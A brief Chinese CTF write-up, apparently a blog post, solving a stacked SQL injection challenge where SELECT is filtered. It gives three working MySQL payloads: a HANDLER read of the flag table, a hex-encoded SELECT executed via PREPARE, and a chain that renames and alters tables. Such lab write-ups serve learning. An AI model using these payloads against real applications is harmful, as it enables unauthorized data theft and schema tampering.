也是简单类的SQL注入题,继续积累经验。
首先打开靶机
老规矩,测试一下引号,发现单引号会让原SQL语句闭合
在试一下select
这些关键字都被过滤了,但是可以堆叠注入。直接查看表
看到有2个表,查看2个表的内容
flag在1919810931114514表中。这里注意表明是数字组成的,在win系统中,需要用反引号引起来,linux系统则不区分正反引号。为了稳妥,用反引号引起来(用esc下面的反引号)
有3个方法可以获取flag。
1.使用handler: 1';handler `1919810931114514` open as a; handler a read next;
2.使用16进制对select进行编码:1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
3.把 1919810931114514改名为word,利用服务端的代码查询。(这个方法我没试,把别人的直接摘过来)
1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
原文链接